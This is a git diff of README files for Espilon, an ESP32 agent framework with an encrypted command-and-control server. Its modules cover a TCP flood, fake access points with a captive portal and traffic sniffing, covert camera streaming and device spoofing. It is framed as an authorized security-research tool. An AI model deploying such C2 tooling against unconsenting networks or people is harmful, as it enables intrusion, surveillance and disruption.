diff --git a/.gitignore b/.gitignore index bd36677..2f52331 100644 --- a/.gitignore +++ b/.gitignore @@ -48,6 +48,11 @@ logs/ espilon_bot/logs/ sdkconfig +# C2 Runtime files (camera streams, recordings) +tools/c2/static/streams/*.jpg +tools/c2/static/recordings/*.avi +*.avi + # IDE and Editor .vscode/ !.vscode/settings.json diff --git a/README.en.md b/README.en.md deleted file mode 100644 index c02b7d0..0000000 --- a/README.en.md +++ /dev/null @@ -1,371 +0,0 @@ -# Espilon - -![Espilon Logo](assets/images/espilon-logo.jpg) - -**Embedded ESP32 Agent Framework for Security Research and IoT** - -[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) -[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf) -[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32) - -> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment. - ---- - -## Full Documentation - -**[View the full documentation here](https://docs.espilon.net)** - -![Documentation header](assets/images/documentation-header.png) - ---- - -The MkDocs documentation includes: - -```md -- Step-by-step installation guide -- Translate EN/FR -- WiFi and GPRS configuration -- Module and command reference -- Multi-device flasher guide -- C2 protocol specification -- Examples and use cases -``` - ---- - -## Quick Start - -### Prerequisites - -- ESP-IDF v5.3.2 -- Python 3.8+ -- ESP32 (any compatible model) -- LilyGO T-Call for GPRS mode (optional) - -### Quick Installation - -```bash -# 1. Install ESP-IDF v5.3.2 -mkdir -p ~/esp -cd ~/esp -git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git -cd esp-idf -./install.sh esp32 -. ./export.sh - -# 2. Clone Espilon -cd ~ -git clone https://github.com/Espilon-Net/epsilon-source.git -cd Espilon-Net/espilon_bot - -# 3. Configure with menuconfig or tools/flasher/devices.json -idf.py menuconfig - -# 4. Build and flash -idf.py build -idf.py -p /dev/ttyUSB0 flash monitor -``` - -**Minimal configuration** (menuconfig): - -```c -Espilon Bot Configuration - |- Device ID: "your_unique_id" - |- Network -> WiFi - | |- SSID: "YourWiFi" - | |- Password: "YourPassword" - |- Server - |- IP: "192.168.1.100" - |- Port: 2626 -``` - -![menuconfig](assets/images/menuconfig.png) - ---- - -## What is Espilon? - -Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for: - -- **Security research**: WiFi testing, network reconnaissance, IoT pentesting -- **Education**: Learning embedded systems, network protocols, FreeRTOS -- **IoT prototyping**: Distributed communication, monitoring, sensors - -### Connectivity Modes - -| Mode | Hardware | Range | Use Case | -|------|----------|-------|----------| -| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings | -| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote | - ---- - -## Architecture - -``` -+---------------------------------------------------------+ -| ESP32 Agent | -| +-----------+ +----------+ +---------------------+ | -| | WiFi/ |->| ChaCha20 |->| C2 Protocol | | -| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | | -| +-----------+ +----------+ +---------------------+ | -| | | | | -| +-----------------------------------------------------+| -| | Module System (FreeRTOS) || -| | [Network] [FakeAP] [Recon] [Custom...] || -| +-----------------------------------------------------+| -+---------------------------------------------------------+ - | Encrypted TCP - +---------------------+ - | C2 Server (C3PO) | - | - Device Registry | - | - Group Management | - | - CLI Interface | - +---------------------+ -``` - -### Key Components - -- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol -- **Modules**: Extensible system (Network, FakeAP, Recon, etc.) -- **C2 (C3PO)**: Python asyncio server for multi-agent control -- **Flasher**: Automated multi-device flashing tool - ---- - -## Available Modules - -> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig. - -### System Module (Built-in, always active) - -Basic system commands: - -- `system_reboot`: Reboot the ESP32 -- `system_mem`: Display memory usage (heap free, heap min, internal free) -- `system_uptime`: Uptime since boot - -### Network Module - -Module for network reconnaissance and testing: - -- `ping [args...]`: ICMP connectivity test -- `arp_scan`: Discover hosts on local network via ARP -- `proxy_start `: Start a TCP proxy -- `proxy_stop`: Stop the running proxy -- `dos_tcp `: TCP load test (authorized use only) - -### FakeAP Module - -Module for creating simulated WiFi access points: - -- `fakeap_start [open|wpa2] [password]`: Start a fake access point -- `fakeap_stop`: Stop the fake AP -- `fakeap_status`: Display status (AP, portal, sniffer, clients) -- `fakeap_clients`: List connected clients -- `fakeap_portal_start`: Enable captive portal -- `fakeap_portal_stop`: Disable captive portal -- `fakeap_sniffer_on`: Enable network traffic capture -- `fakeap_sniffer_off`: Disable capture - -### Recon Module - -Reconnaissance and data collection module. Two modes available: - -#### Camera Mode (ESP32-CAM) - -- `cam_start `: Start UDP video streaming (~7 FPS, QQVGA) -- `cam_stop`: Stop streaming - -#### BLE Trilateration Mode - -- `trilat start `: Start BLE trilateration with HTTP POST -- `trilat stop`: Stop trilateration - ---- - -**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules - -Choose **only one module**: - -- `CONFIG_MODULE_NETWORK`: Enable the Network Module -- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module -- `CONFIG_MODULE_RECON`: Enable the Recon Module - - Then choose: `Camera` or `BLE Trilateration` - ---- - -## Tools - -### Multi-Device Flasher - -Automated flasher to configure multiple ESP32s: - -```bash -cd tools/flasher -python3 flash.py --config devices.json -``` - -**devices.json**: - -```json -{ - "project": "/path/to/espilon_bot", - "devices": [ - { - "device_id": "esp001", - "port": "/dev/ttyUSB0", - "network_mode": "wifi", - "wifi_ssid": "MyNetwork", - "wifi_pass": "MyPassword", - "srv_ip": "192.168.1.100" - } - ] -} -``` - -See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation. - -### C2 Server (C3PO) - -Command & Control server: - -```bash -cd tools/c2 -pip3 install -r requirements.txt -python3 c3po.py --port 2626 -``` - -**Commands**: - -- `list`: List connected agents -- `select `: Select an agent -- `cmd `: Execute a command -- `group`: Manage agent groups - ---- - -## Security - -### Encryption - -- **ChaCha20** for C2 communications -- **Configurable keys** via menuconfig -- **Protocol Buffers (nanoPB)** for serialization - -**CHANGE DEFAULT KEYS** for production use: - -```bash -# Generate random keys -openssl rand -hex 32 # ChaCha20 key (32 bytes) -openssl rand -hex 12 # Nonce (12 bytes) -``` - -### Responsible Use - -Espilon should only be used for: - -- **Authorized** penetration testing -- **Ethical** security research -- Education and training -- Legitimate IoT prototyping - -**Prohibited**: Unauthorized access, malicious attacks, privacy violations. - ---- - -## Use Cases - -### WiFi Pentesting - -- Network security auditing -- WPA2/WPA3 robustness testing -- Network mapping - -### IoT Security Research - -- IoT device testing -- Protocol analysis -- Vulnerability detection - -### Education - -- Cybersecurity labs -- Embedded systems courses -- CTF competitions - ---- - -## Roadmap - -### V2.0 (In Progress) - -- [ ] Mesh networking (BLE/WiFi) -- [ ] Improve documentation -- [ ] OTA updates -- [ ] Collaborative multilateration -- [ ] Memory optimization - -### Future - -- [ ] Custom Espilon PCB -- [ ] ESP32-S3/C3 support -- [ ] Module SDK for third-party extensions -- [ ] Web UI for C2 - ---- - -## License - -Espilon is licensed under **MIT** with a security addendum. - -See [LICENSE](LICENSE) for full details. - -**In summary**: -- Free use for research, education, development -- Modification and distribution allowed -- **Obtain authorization** before any deployment -- Malicious use strictly prohibited - ---- - -## Contributors - -- **@Eun0us** - Core architecture, modules -- **@off-path** - C2 server, protocol -- **@itsoktocryyy** - Network features, work on Mod Wall Hack -- **@wepfen** - Documentation, tools - -### Contributing - -Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md). - -**Join us**: - -- Report bugs -- Propose features -- Submit PRs -- Improve documentation - ---- - -## Useful Links - -- **[Full documentation](https://docs.espilon.net)** -- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)** -- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)** -- **French README**: [README.md](README.md) - ---- - -## Support - -- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues) -- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions) - ---- - -**Originally presented at Le Hack (June 2025)** - -**Made with love for security research and education** diff --git a/README.fr.md b/README.fr.md new file mode 100644 index 0000000..b4976e5 --- /dev/null +++ b/README.fr.md @@ -0,0 +1,428 @@ +# Espilon + +![Espilon Logo](assets/images/espilon-logo.jpg) + +**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT** + +[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) +[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf) +[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32) + +> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement. + +--- + +## Sommaire + +- [Documentation Complète](#documentation-complète) +- [Quick Start](#quick-start) + - [Prérequis](#prérequis) + - [Installation Rapide](#installation-rapide) +- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-) + - [Modes de Connectivité](#modes-de-connectivité) +- [Architecture](#architecture) + - [Composants Clés](#composants-clés) +- [Modules Disponibles](#modules-disponibles) + - [System Module](#system-module-built-in-toujours-actif) + - [Network Module](#network-module) + - [FakeAP Module](#fakeap-module) + - [Recon Module](#recon-module) +- [Outils](#outils) + - [Multi-Device Flasher](#multi-device-flasher) + - [C2 Server (C3PO)](#c2-server-c3po) +- [Sécurité](#sécurité) + - [Chiffrement](#chiffrement) + - [Usage Responsable](#usage-responsable) +- [Cas d'Usage](#cas-dusage) +- [Roadmap](#roadmap) +- [Licence](#licence) +- [Contributeurs](#contributeurs) +- [Liens Utiles](#liens-utiles) +- [Support](#support) + +--- + +## Documentation Complète + +**[Consultez la documentation complète ici](https://docs.espilon.net)** + +![Documentation header](assets/images/documentation-header.png) + +--- + +La documentation MkDocs inclut : + +```md +- Guide d'installation pas à pas +- Traduction EN/FR +- Configuration WiFi et GPRS +- Référence des modules et commandes +- Guide du flasher multi-device +- Spécification du protocole C2 +- Exemples et cas d'usage +``` + +--- + +## Quick Start + +### Prérequis + +- ESP-IDF v5.3.2 +- Python 3.8+ +- ESP32 (tout modèle compatible) +- LilyGO T-Call pour le mode GPRS (optionnel) + +### Installation Rapide + +```bash +# 1. Installer ESP-IDF v5.3.2 +mkdir -p ~/esp +cd ~/esp +git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git +cd esp-idf +./install.sh esp32 +. ./export.sh + +# 2. Cloner Espilon +cd ~ +git clone https://github.com/Espilon-Net/epsilon-source.git +cd epsilon/espilon_bot + +# 3. Configurer +idf.py menuconfig + +# 4. Compiler et flasher +idf.py build +idf.py -p /dev/ttyUSB0 flash monitor +``` + +**Configuration minimale** (menuconfig) : + +```c +Espilon Bot Configuration + ├─ Device ID: "votre_id_unique" + ├─ Network → WiFi + │ ├─ SSID: "VotreWiFi" + │ └─ Password: "VotreMotDePasse" + └─ Server + ├─ IP: "192.168.1.100" + └─ Port: 2626 +``` + +--- + +## Qu'est-ce qu'Espilon ? + +Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour : + +- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting +- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS +- **Prototypage IoT** : Communication distribuée, monitoring, capteurs + +### Modes de Connectivité + +| Mode | Hardware | Portée | Use Case | +|------|----------|--------|----------| +| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments | +| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote | + +**General Packet Radio Service** vs **WiFi** + +--- + +## Architecture + +```md +┌─────────────────────────────────────────────────────┐ +│ ESP32 Agent │ +│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │ +│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │ +│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │ +│ └───────────┘ └──────────┘ └─────────────────┘ │ +│ ↓ ↓ ↓ │ +│ ┌───────────────────────────────────────────────┐ │ +│ │ Module System (FreeRTOS) │ │ +│ │ [Network] [FakeAP] [Recon] [Custom...] │ │ +│ └───────────────────────────────────────────────┘ │ +└─────────────────────────────────────────────────────┘ + ↕ Encrypted TCP + ┌──────────────────────┐ + │ C2 Server (C3PO) │ + │ - Device Registry │ + │ - Group Management │ + │ - CLI Interface │ + └──────────────────────┘ +``` + +### Composants Clés + +- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB +- **Modules** : Système extensible (Network, FakeAP, Recon, etc.) +- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents +- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra) +- **Flasher** : Outil de flash multi-device automatisé + +--- + +## Modules Disponibles + +> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig. + +### System Module (Built-in, toujours actif) + +Commandes système de base : + +- `system_reboot` : Redémarrage de l'ESP32 +- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free) +- `system_uptime` : Temps de fonctionnement depuis le boot + +### Network Module + +Module pour reconnaissance et tests réseau : + +- `ping [args...]` : Test de connectivité ICMP +- `arp_scan` : Découverte des hôtes sur le réseau local via ARP +- `proxy_start ` : Démarrer un proxy TCP +- `proxy_stop` : Arrêter le proxy en cours +- `dos_tcp ` : Test de charge TCP (à usage autorisé uniquement) + +### FakeAP Module + +Module pour création de points d'accès WiFi simulés : + +- `fakeap_start [open|wpa2] [password]` : Démarrer un faux point d'accès +- `fakeap_stop` : Arrêter le faux AP +- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients) +- `fakeap_clients` : Lister les clients connectés +- `fakeap_portal_start` : Activer le portail captif +- `fakeap_portal_stop` : Désactiver le portail captif +- `fakeap_sniffer_on` : Activer la capture de trafic réseau +- `fakeap_sniffer_off` : Désactiver la capture + +### Recon Module + +Module de reconnaissance et collecte de données. Deux modes disponibles : + +#### Mode Camera (ESP32-CAM) + +- `cam_start ` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA) +- `cam_stop` : Arrêter le streaming + +#### Mode BLE Trilateration + +- `trilat start ` : Démarrer la trilatération BLE avec POST HTTP +- `trilat stop` : Arrêter la trilatération + +--- + +**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules + +Choisissez **un seul module** : + +- `CONFIG_MODULE_NETWORK` : Active le Network Module +- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module +- `CONFIG_MODULE_RECON` : Active le Recon Module + - Puis choisir : `Camera` ou `BLE Trilateration` + +--- + +## Outils + +### Multi-Device Flasher + +Flasher automatisé pour configurer plusieurs ESP32 : + +```bash +cd tools/flasher +python3 flash.py --config devices.json +``` + +**devices.json** : + +```json +{ + "project": "/home/user/epsilon/espilon_bot", + "devices": [ + ## WiFi AGENT ## + { + "device_id": "ce4f626b", + "port": "/dev/ttyUSB0", + "srv_ip": "192.168.1.13", + "srv_port": 2626, + "network_mode": "wifi", + "wifi_ssid": "MyWiFi", + "wifi_pass": "MyPassword123", + "hostname": "pixel-8-pro", + "module_network": true, + "module_recon": false, + "module_fakeap": false, + "recon_camera": false, + "recon_ble_trilat": false, + "crypto_key": "testde32chars00000000000000000000", + "crypto_nonce": "noncenonceno" + }, + + ## GPRS AGENT ## + { + "device_id": "a91dd021", + "port": "/dev/ttyUSB1", + "srv_ip": "203.0.113.10", + "srv_port": 2626, + "network_mode": "gprs", + "gprs_apn": "sl2sfr", + "hostname": "galaxy-s24-ultra", + "module_network": true, + "module_recon": false, + "module_fakeap": false + } + ] +} +``` + +Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète. + +### C2 Server (C3PO) + +Serveur de Command & Control : + +```bash +cd tools/c2 +pip3 install -r requirements.txt +python3 c3po.py --port 2626 +``` + +**Commandes** : + +- `list` : Lister les agents connectés +- `select ` : Sélectionner un agent +- `cmd ` : Exécuter une commande +- `group` : Gérer les groupes d'agents + +--- + +## Sécurité + +### Chiffrement + +- **ChaCha20** pour les communications C2 +- **Clés configurables** via menuconfig +- **Protocol Buffers (nanoPB)** pour la sérialisation + +⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production : + +```bash +# Générer des clés aléatoires +openssl rand -hex 32 # ChaCha20 key (32 bytes) +openssl rand -hex 12 # Nonce (12 bytes) +``` + +### Usage Responsable + +Espilon doit être utilisé uniquement pour : + +- Tests d'intrusion **autorisés** +- Recherche en sécurité **éthique** +- Éducation et formation +- Prototypage IoT légitime + +**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité. + +--- + +## Cas d'Usage + +### Pentest WiFi + +- Audit de sécurité réseau +- Test de robustesse WPA2/WPA3 +- Cartographie réseau + +### IoT Security Research + +- Test de devices IoT +- Analyse de protocoles +- Détection de vulnérabilités + +### Éducation + +- Labs de cybersécurité +- Cours d'embarqué +- CTF competitions + +--- + +## Roadmap + +### V2.0 (En cours) + +- [ ] Mesh networking (BLE/WiFi) +- [ ] Implémenter Module reccoon dans C3PO +- [ ] Améliorer la Documentations [here](https://docs.espilon.net) +- [ ] OTA updates +- [ ] Multilatération collaborative +- [ ] Optimisation mémoire + +### Future + +- [ ] PCB custom Espilon +- [ ] Support ESP32-S3/C3 +- [ ] Module SDK pour extensions tierces +- [ ] Web UI pour C2 + +--- + +## Licence + +Espilon est sous licence **MIT** avec addendum de sécurité. + +Voir [LICENSE](LICENSE) pour les détails complets. + +**En résumé** : + +- Utilisation libre pour recherche, éducation, développement +- Modification et distribution autorisées +- **Obtenir autorisation** avant tout déploiement +- Usage malveillant strictement interdit + +--- + +## Contributeurs + +- **@Eun0us** - Core architecture, modules +- **@off-path** - C2 server, protocol +- **@itsoktocryyy** - Network features, Wall Hack +- **@wepfen** - Documentation, tools + +### Contribuer + +Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md). + +**Rejoignez-nous** : + +- Rapporter des bugs +- Proposer des features +- Soumettre des PRs +- Améliorer la doc + +--- + +## Liens Utiles + +- **[Documentation complète](https://docs.espilon.net)** +- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)** +- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)** +- **English README** : [README.en.md](README.en.md) + +--- + +## Support + +- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues) +- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions) + +--- + +**Présenté initialement à Le Hack (Juin 2025)** + +**Made with love for security research and education** diff --git a/README.md b/README.md index 061266e..a8df945 100644 --- a/README.md +++ b/README.md @@ -2,51 +2,81 @@ ![Espilon Logo](assets/images/espilon-logo.jpg) -**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT** +**Embedded ESP32 Agent Framework for Security Research and IoT** [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) [![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf) [![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32) -> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement. +> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment. --- -## Documentation Complète +## Table of Contents -**[Consultez la documentation complète ici](https://docs.espilon.net)** +- [Full Documentation](#full-documentation) +- [Quick Start](#quick-start) + - [Prerequisites](#prerequisites) + - [Quick Installation](#quick-installation) +- [What is Espilon?](#what-is-espilon) + - [Connectivity Modes](#connectivity-modes) +- [Architecture](#architecture) + - [Key Components](#key-components) +- [Available Modules](#available-modules) + - [System Module](#system-module-built-in-always-active) + - [Network Module](#network-module) + - [FakeAP Module](#fakeap-module) + - [Recon Module](#recon-module) +- [Tools](#tools) + - [Multi-Device Flasher](#multi-device-flasher) + - [C2 Server (C3PO)](#c2-server-c3po) +- [Security](#security) + - [Encryption](#encryption) + - [Responsible Use](#responsible-use) +- [Use Cases](#use-cases) +- [Roadmap](#roadmap) +- [License](#license) +- [Contributors](#contributors) +- [Useful Links](#useful-links) +- [Support](#support) + +--- + +## Full Documentation + +**[View the full documentation here](https://docs.espilon.net)** ![Documentation header](assets/images/documentation-header.png) --- -La documentation MkDocs inclut : +The MkDocs documentation includes: ```md -- Guide d'installation pas à pas -- Traduction EN/FR -- Configuration WiFi et GPRS -- Référence des modules et commandes -- Guide du flasher multi-device -- Spécification du protocole C2 -- Exemples et cas d'usage +- Step-by-step installation guide +- Translate EN/FR +- WiFi and GPRS configuration +- Module and command reference +- Multi-device flasher guide +- C2 protocol specification +- Examples and use cases ``` --- ## Quick Start -### Prérequis +### Prerequisites - ESP-IDF v5.3.2 - Python 3.8+ -- ESP32 (tout modèle compatible) -- LilyGO T-Call pour le mode GPRS (optionnel) +- ESP32 (any compatible model) +- LilyGO T-Call for GPRS mode (optional) -### Installation Rapide +### Quick Installation ```bash -# 1. Installer ESP-IDF v5.3.2 +# 1. Install ESP-IDF v5.3.2 mkdir -p ~/esp cd ~/esp git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git @@ -54,205 +84,182 @@ cd esp-idf ./install.sh esp32 . ./export.sh -# 2. Cloner Espilon +# 2. Clone Espilon cd ~ git clone https://github.com/Espilon-Net/epsilon-source.git -cd epsilon/espilon_bot +cd Espilon-Net/espilon_bot -# 3. Configurer +# 3. Configure with menuconfig or tools/flasher/devices.json idf.py menuconfig -# 4. Compiler et flasher +# 4. Build and flash idf.py build idf.py -p /dev/ttyUSB0 flash monitor ``` -**Configuration minimale** (menuconfig) : +**Minimal configuration** (menuconfig): ```c Espilon Bot Configuration - ├─ Device ID: "votre_id_unique" - ├─ Network → WiFi - │ ├─ SSID: "VotreWiFi" - │ └─ Password: "VotreMotDePasse" - └─ Server - ├─ IP: "192.168.1.100" - └─ Port: 2626 + |- Device ID: "your_unique_id" + |- Network -> WiFi + | |- SSID: "YourWiFi" + | |- Password: "YourPassword" + |- Server + |- IP: "192.168.1.100" + |- Port: 2626 ``` +![menuconfig](assets/images/menuconfig.png) + --- -## Qu'est-ce qu'Espilon ? +## What is Espilon? -Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour : +Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for: -- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting -- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS -- **Prototypage IoT** : Communication distribuée, monitoring, capteurs +- **Security research**: WiFi testing, network reconnaissance, IoT pentesting +- **Education**: Learning embedded systems, network protocols, FreeRTOS +- **IoT prototyping**: Distributed communication, monitoring, sensors -### Modes de Connectivité +### Connectivity Modes -| Mode | Hardware | Portée | Use Case | -|------|----------|--------|----------| -| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments | +| Mode | Hardware | Range | Use Case | +|------|----------|-------|----------| +| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings | | **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote | -**General Packet Radio Service** vs **WiFi** - --- ## Architecture -```md -┌─────────────────────────────────────────────────────┐ -│ ESP32 Agent │ -│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │ -│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │ -│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │ -│ └───────────┘ └──────────┘ └─────────────────┘ │ -│ ↓ ↓ ↓ │ -│ ┌───────────────────────────────────────────────┐ │ -│ │ Module System (FreeRTOS) │ │ -│ │ [Network] [FakeAP] [Recon] [Custom...] │ │ -│ └───────────────────────────────────────────────┘ │ -└─────────────────────────────────────────────────────┘ - ↕ Encrypted TCP - ┌──────────────────────┐ - │ C2 Server (C3PO) │ - │ - Device Registry │ - │ - Group Management │ - │ - CLI Interface │ - └──────────────────────┘ +``` ++---------------------------------------------------------+ +| ESP32 Agent | +| +-----------+ +----------+ +---------------------+ | +| | WiFi/ |->| ChaCha20 |->| C2 Protocol | | +| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | | +| +-----------+ +----------+ +---------------------+ | +| | | | | +| +-----------------------------------------------------+| +| | Module System (FreeRTOS) || +| | [Network] [FakeAP] [Recon] [Custom...] || +| +-----------------------------------------------------+| ++---------------------------------------------------------+ + | Encrypted TCP + +---------------------+ + | C2 Server (C3PO) | + | - Device Registry | + | - Group Management | + | - CLI Interface | + +---------------------+ ``` -### Composants Clés +### Key Components -- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB -- **Modules** : Système extensible (Network, FakeAP, Recon, etc.) -- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents -- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra) -- **Flasher** : Outil de flash multi-device automatisé +- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol +- **Modules**: Extensible system (Network, FakeAP, Recon, etc.) +- **C2 (C3PO)**: Python asyncio server for multi-agent control +- **Flasher**: Automated multi-device flashing tool --- -## Modules Disponibles +## Available Modules -### System Module (Built-in, toujours actif désactivable dans les src) +> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig. -Commandes système de base : +### System Module (Built-in, always active) -- `system_reboot` : Redémarrage de l'ESP32 -- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free) -- `system_uptime` : Temps de fonctionnement depuis le boot +Basic system commands: + +- `system_reboot`: Reboot the ESP32 +- `system_mem`: Display memory usage (heap free, heap min, internal free) +- `system_uptime`: Uptime since boot ### Network Module -Module pour reconnaissance et tests réseau : +Module for network reconnaissance and testing: -- `ping [args...]` : Test de connectivité ICMP -- `arp_scan` : Découverte des hôtes sur le réseau local via ARP -- `proxy_start ` : Démarrer un proxy TCP -- `proxy_stop` : Arrêter le proxy en cours -- `dos_tcp ` : Test de charge TCP (à usage autorisé uniquement) +- `ping [args...]`: ICMP connectivity test +- `arp_scan`: Discover hosts on local network via ARP +- `proxy_start `: Start a TCP proxy +- `proxy_stop`: Stop the running proxy +- `dos_tcp `: TCP load test (authorized use only) ### FakeAP Module -Module pour création de points d'accès WiFi simulés : +Module for creating simulated WiFi access points: -- `fakeap_start [open|wpa2] [password]` : Démarrer un faux point d'accès -- `fakeap_stop` : Arrêter le faux AP -- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients) -- `fakeap_clients` : Lister les clients connectés -- `fakeap_portal_start` : Activer le portail captif -- `fakeap_portal_stop` : Désactiver le portail captif -- `fakeap_sniffer_on` : Activer la capture de trafic réseau -- `fakeap_sniffer_off` : Désactiver la capture +- `fakeap_start [open|wpa2] [password]`: Start a fake access point +- `fakeap_stop`: Stop the fake AP +- `fakeap_status`: Display status (AP, portal, sniffer, clients) +- `fakeap_clients`: List connected clients +- `fakeap_portal_start`: Enable captive portal +- `fakeap_portal_stop`: Disable captive portal +- `fakeap_sniffer_on`: Enable network traffic capture +- `fakeap_sniffer_off`: Disable capture ### Recon Module -Module de reconnaissance et collecte de données. Deux modes disponibles : +Reconnaissance and data collection module. Two modes available: -#### Mode Camera (ESP32-CAM) +#### Camera Mode (ESP32-CAM) -- `cam_start ` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA) -- `cam_stop` : Arrêter le streaming +- `cam_start `: Start UDP video streaming (~7 FPS, QQVGA) +- `cam_stop`: Stop streaming -#### Mode BLE Trilateration +#### BLE Trilateration Mode -- `trilat start ` : Démarrer la trilatération BLE avec POST HTTP -- `trilat stop` : Arrêter la trilatération +- `trilat start `: Start BLE trilateration with HTTP POST +- `trilat stop`: Stop trilateration --- -**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules +**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules -Choisissez **un seul module** : +Choose **only one module**: -- `CONFIG_MODULE_NETWORK` : Active le Network Module -- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module -- `CONFIG_MODULE_RECON` : Active le Recon Module - - Puis choisir : `Camera` ou `BLE Trilateration` +- `CONFIG_MODULE_NETWORK`: Enable the Network Module +- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module +- `CONFIG_MODULE_RECON`: Enable the Recon Module + - Then choose: `Camera` or `BLE Trilateration` --- -## Outils +## Tools ### Multi-Device Flasher -Flasher automatisé pour configurer plusieurs ESP32 : +Automated flasher to configure multiple ESP32s: ```bash cd tools/flasher python3 flash.py --config devices.json ``` -**devices.json** : +**devices.json**: ```json { - "project": "/home/user/epsilon/espilon_bot", + "project": "/path/to/espilon_bot", "devices": [ - ## WiFi AGENT ## { - "device_id": "ce4f626b", + "device_id": "esp001", "port": "/dev/ttyUSB0", - "srv_ip": "192.168.1.13", - "srv_port": 2626, "network_mode": "wifi", - "wifi_ssid": "MyWiFi", - "wifi_pass": "MyPassword123", - "hostname": "pixel-8-pro", - "module_network": true, - "module_recon": false, - "module_fakeap": false, - "recon_camera": false, - "recon_ble_trilat": false, - "crypto_key": "testde32chars00000000000000000000", - "crypto_nonce": "noncenonceno" - }, - - ## GPRS AGENT ## - { - "device_id": "a91dd021", - "port": "/dev/ttyUSB1", - "srv_ip": "203.0.113.10", - "srv_port": 2626, - "network_mode": "gprs", - "gprs_apn": 